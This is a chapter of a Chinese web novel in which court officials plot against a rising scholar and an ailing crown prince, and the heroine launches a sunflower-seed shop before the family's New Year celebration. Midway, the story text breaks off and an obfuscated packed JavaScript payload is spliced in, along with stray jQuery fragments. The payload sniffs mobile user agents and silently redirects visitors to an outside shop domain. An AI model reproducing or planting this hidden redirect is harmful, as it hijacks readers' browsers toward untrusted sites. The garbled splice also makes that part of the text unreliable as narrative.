袁松这一留就是大半日,直到天黑透了,高明才送他出了宫门,这件不起眼的小事却被朝中有心人看在了眼里。
谁也不知道皇帝和他说了什么,但第二天等阁老们再来议事时,皇帝已经转了态度,有了决断。
马市依旧开,只是允许民市代替了一部分官市,废除了以物易物的模式,而是银货两讫,马市任何物品都能贸易,唯有一样例外,铁器。
不但刀剑军械不允许,就连铁锅铁犁都不准,凡是和铁沾边的东西,都一律不许在马市交易。
这是担心北边的异族通过马市获得丰富的物资之后,转而南下,暂时只能从武器这一块限制他们。
韩王进来看到徐阁老皱紧了眉头,笑着开口劝解:“老师,马市是父皇的心病,好几年前他就想开了,你又不是不知道。”
朝廷的马匹矮小,比不上北边的高种马,先皇在时就想过大量收购北边的良马改善马种,只是效果不大。
圣上即位后就想通过开放马市,大量获取马匹。
父皇要办的事情,内阁能阻挡一次,却阻挡不了第二次的。
徐阁老看着一脸无知的韩王,只能无奈地叹气:“殿下以为我是为这个烦?”
韩王愣了一下,不是这个是为什么。
徐阁老叹气:“你可知民市的主意是谁出得?”
“是袁子平。”
韩王呆住了。
怎么可能,他不过一个小小庶吉士,朝廷大事如何能让他插进去手了,阁老们就这么看着?
徐阁老无语,是追究这个时候?
皇上让他说,也愿意听取他的意见,哪怕他是个守大门的,阁老们也没办法。
目前最重要的是,如何把袁松按下去,他爬的太快了,皇上这么看重,等后年散馆,东宫可就如虎添翼了。
“上次王妃去袁家后回来可又说什么?”徐阁老问道。
韩王摇头:“礼物倒是都接了。”
徐阁老叹气,凝眉,眼中闪过狠意:“这个人不能留了。”
皇上越倚重他,对他们来说以后会越麻烦。
皇帝身边有一个如此信任的东宫之人,对他们接下来的事情会很不利。
“要派人把他杀掉吗?”在城里杀只是城外杀,听说他常陪着自己的太太去城外的庄子上,路上下手应该很方便。
韩王已经在思考着可能性了。
徐阁老脸很黑,眼中满是不可置信。
“殿下难道是在说笑?”不然这么会说出这么没脑子的话,这要不是皇子,他都要忍不住开骂了。
真是蠢货,脑子被狗吃了吗?
袁松刚在皇帝面前长了脸,转头就被人暗杀了,他是生怕皇帝不够生气,查不到他身上吗?
太子还没死呢,他也不是唯一的皇子,就敢如此胆大包天,明目张胆去刺杀皇帝的人?
韩王怔住了,不是老师说不能留吗?
徐阁老眼前一发黑,深吸一口气。
“翰林院那么多庶吉士,难道就没人能取代他了。”他找个借口,把他调离皇帝身边,又或者,让袁松为其他事情所困,失宠皇帝,时间久了,圣上也就忘记这个人了,到时候怎么处置还不是他们说了算。
杀人的手段那么多,为何非要动刀动枪的。
“你是皇子,不要动不动就杀人,那是粗鲁武将的行为。”徐阁老撑着额头,委婉指点。
韩王虚心受教:“小王知道了,老师别气。”
难能不气,不过韩王也就这一条很好,对他这个老师很是尊重,说什么都会听。
徐阁老喝了口茶,问他:“东宫那边查的怎么样了?太子身子真的康复了?”
韩王冷笑,来了兴趣,不自觉带了几分邀功的心思。
“他用虎狼之药强撑着,也就撑个几年,老师你说我要不要让父皇知道?”
“别。”徐阁老凝眉,抬头阻止,眼中闪过精光。
“不能说。”
太子病弱,皇上不满是一回事,若是知道太子没几年好活头了,怜子之心占了上风,皇上必定会处处维护着东宫,甚至大力补偿。
韩王这个时候若是再和东宫争,那在皇帝眼里就是不尊兄长,不顾骨肉之情,之前对他的纵容也会一一收回。
韩王被他这么一提醒,显然也明白过来。
难怪这么容易就被查出来了。
“这么阴险,怎么干脆病死算了。”韩王心中立马就起了个阴狠的念头。
“这种药宫里就没多少,不如断了他的药……”没有了这个药,他会死的更快。
徐阁老没有说话,好似默认了他这个说法。
回去的路上,徐阁老觉得自己好像忽略了什么事情,却又想不起来。
刚到家里,就看到老妻板着一张寒脸在等着自己,徐阁老叹气,更觉得累了。
“那个潘子华怎么还在翰林院,你到底什么时候给女儿出气!”
徐阁老感觉自己的头更疼了。
“人证已经死了,我还在派人查。”
那贼人被抓到后没多久就毒发了,仵作验尸,说是提前就被下了毒,很明显的杀人灭口,当时贼人虽然招供受人指使,但他并不能说出那个人的名字,不能指认,他就是阁老,也不能随随便便对一个庶吉士出手。
徐夫人冷笑,她受够了丈夫的妥协,大局。
“女儿是我的,我来疼,我就知道指望不上你。”
徐阁老听着不对,立刻拉住她:“别乱来,我虽是阁老,可却有一大堆人在等着我犯错。”
徐夫人看了他一眼,露出讥笑:“你放心,连累不到你。”
***
时间一晃而过,眨眼就是年关了,衙门封印,袁松也不忙了,整日抱着儿子跟在严娇娇后面看她做生意。
铺子开张时间选在腊月,正是办年货的时候,而且她特意用葵花籽作为引流产品,把爆米花作为特色,只送不卖,馋的人不行。
还吩咐人做了很多传单,大街小巷,每家每户都宣发到位,传单上图文并茂,认不认字一眼都能看懂。
加上还做了一些营销手段,买一送一,捆绑销售,试吃活动,介绍三位客人就奖励一桶爆米花。
开张那日还请了人来表演杂耍,可谓是搞足噱头,吸引了不少人过来,店里货物被哄抢一空。
严娇娇站在二楼,满意地看着一切,转头吩咐曾二娘。
“马上就是年关了,把瓜子都准备一些,各种口味都要有,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906200|204401||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我想明天来买的人会更多。”
今天她们大部分人都是尝试,买山货的更多,但今天吃了过后,明天一定回来买。
毕竟瓜子在后世也是年货中的最重要的一门物资。
“多准备点试吃的,不要吝啬,她们爱吃,就让她们吃。”瓜子可是越吃越停不下来的。
今年柳树村还有王家村都种的是葵花籽,快种了五六顷地,只留了一半在南边,大部分都送来京城了。
就是为了一炮打响她的铺子!
不然京城这么多铺子,慢慢来,什么时候才能打出名声。
瓜子很快就在京城上至高门大族,下到平民百姓百姓种成了产销品。
谁家过年没准备点瓜子作为零嘴招待客人,那都是丢面子了,严娇娇的铺子也赚的盆满钵满。
除夕夜,严娇娇笑眯眯地看着眼前的账簿,笑的合不拢嘴。
袁松抱着儿子凑过来,低头去看:“赚来多少了,这么高兴?”
严娇娇心情好,不计较他话里的小小嫉妒。
“反正有你几十年的俸禄了。”
袁松轻轻抱着儿子晃动,逗他:“儿子,快跟娘亲说辛苦了,我们爷俩都要你娘养呢,给她笑一个。”
严娇娇把账本合上,对着他坏笑:“我儿子笑一个,那你呢?”
他的笑可不值钱了。
袁松看着她,一本正经的妇男模样:“你……你想干什么,我可是正经人。”
严娇娇扑了上去,袁松手里抱着孩子没敢动,就被她扑了个正着,手也不老实往他衣服里钻。
“公子,开个价吧!”这轻浮的语调,可真是把纨绔演的丝丝入扣。
袁松脸一黑:“你跟谁学的?”
谁家好太太会这个的?
都有些怀疑她是不是去过哪些不正经的场所了。
严娇娇听出他生气了,在他胸口拍了一掌,真是玩不起,没好气收回手:“我天生就会。”
当她话本子白看的吗?还用跟谁学。
门被推开,赵妈端菜进来了,严娇娇跳起:“我去帮忙。”
只留下袁松脸一阵红一阵白的。
赵妈看到袁松衣襟凌乱,脸色不对,一副被蹂躏过的模样,忍笑低头,马上又回了厨房
儿子一双黑眼睛转来转去,啊啊地伸手想抓他爹。
袁松给他换了个姿势,低头笑道:“你看什么呢,你娘是个小坏蛋是不是?”
石榴用力蹬了一脚,好像在附和,又好像在反对。
袁母做了一大桌好吃的,这好像是严娇娇穿过来后,一家人整整齐齐第一次过年,不对,加加来一位新成员。
可惜小家伙只能看不能吃,颇为不满地啊啊教。
“来,我们喝一杯,来年顺顺利利。”严娇娇举杯,大家齐贺。
砰的一声巨响,袁松放下筷子,笑道:“我们也去放鞭炮。”
严娇娇不但买了鞭炮,还有烟花呢,可惜小家伙太小了,完全不能懂妈妈对他多好,只能勉强自己玩来。
严娇娇点头,拉起袁松的手就飞奔出去。
袁母亲自过去抱孙子,怕他被惊到,谁知道小家伙完全不怕,眼睛直溜溜地盯着看,一惊一乍的,可好玩了。